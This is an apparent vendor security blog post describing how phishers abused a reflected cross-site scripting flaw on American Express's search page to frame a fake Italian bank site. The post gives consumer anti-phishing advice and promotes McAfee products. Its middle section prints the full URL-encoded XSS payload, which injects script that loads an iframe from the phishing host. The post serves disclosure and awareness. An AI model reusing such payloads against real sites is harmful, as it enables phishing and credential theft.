Phishing Express
Posted by Shane Keats at 02:55 PM
Phisher takes advantage of American Express mistake
Earlier this week, Dan Nunes, one of our software engineers, was reviewing a phishing feed when he noticed a link that pointed to americanexpress.com. At first, Dan was surprised that a financial institution would be so careless as to leave an unprotected redirect on its site. After all, financial institutions are often the targets of such phishing attacks. Upon closer examination of the link, however, he noticed javascript code present within the URL. The code appeared to load a frame to another site, www.cgieich.com, which at the time of this writing was mimicking the site of an Italian bank, Banka Intesa:

The americanexpress.com search result page showing a fake website designed to imitate Banca Intesa.
The need for legitimacy
A while back, we wrote an article examining the economics of phishing. In the piece, we allude to the fact that ideally, phishers like to hijack real sites to transmit stolen data back to themselves. It is not uncommon for a phisher to utilize Google or Yahoo redirects to make a link look more legitimate. Sites often use these "open redirects" to keep track of what links a user visits on their site by directing the user through a script on the host site before directing them to another site. Phishing attacks of this nature are often easy for a consumer to identify because even though the link that was clicked looked like it was going to Google, for example, the address bar will indicate that the site that eventually loaded was not in fact Google.
The basic definition of a phisher is someone who attempts to con users into providing personal or financial information to a fake site under the auspices that they are interacting with a legitimate site. A fundamental tenet of phishing is that the more legitimate the site looks, the more people will be convinced to provide their information. What we saw on the feed was troubling in that regard.
Scripting for profit
Take a look at this:
http://search.americanexpress.com/amex/?q=%3Cscript%3Edocument.write%28%22%3C iframe+src%3D%27http%3A%2F%2Fwww.cgieicg.com%27+FRAMEBORDER%3D%270%27+WIDTH%3D% 27800%27+HEIGHT%3D%27640%27+scrolling%3D%27auto%27%3E%3C%2Fiframe%3E%22%29%3C%2F script%3E&site=amerexpress&client=amerexpress&output=amerexpress&restrict=US
The link itself points to the search results page on the American Express website. Dan found that the vulnerability arises from the fact that the query string passed to the search is displayed within the resulting page. Phishers exploited this fact to insert their own code onto the page. Since the resulting page appears to be a legitimate page within the American Express site, an unsuspecting user that fails to notice the "Search results" heading on the page or the formatting errors may be fooled into thinking he or she is sending information to a legitimate banking portal.
This vulnerability is especially glaring when one considers the fact that virtually any script could have been executed by this method. A phisher could have created a fake login form for American Express itself, leaving little clue that a user was giving his or her information to a third party. Slightly altering the link, Dan notes, can change the page that is loaded:

americanexpress.com search results page shown with a frame containing the McAfee SiteAdvisor home page.
Before running this article, Dan contacted the anti-phishing group at American Express and they have since fixed the vulnerability. Unfortunately, the average consumer that engages in online banking can not even trust that legitimate sites are not inadvertently aiding phishers in their fraudulent collection of consumer information. Fortunately, one hurdle that phishers face is that they need to deliver their unsafe links to the consumers to get them to visit the fraudulent sites. Thanks in a large part to the banking institutions that have gone to great lengths in order to educate their customers about the dangers of phishing and ways to identify possible fraudulent sites, consumers are getting smarter about remaining skeptical of any link received through e-mails. By making sure only to provide personal information to sites received from a trusted source, and utilizing the free services of SiteAdvisor to aid in identifying potentially dangerous sites, consumers can stay safe amid the daily hazards of the web.
Update
A quick note. We wanted to remind readers that McAfee's SiteAdvisor plug-in warns users about a wide range of site-based threats including spyware, spam and exploits, but for anti-phishing and more complete threat protection, readers should look at our award winning security suites.




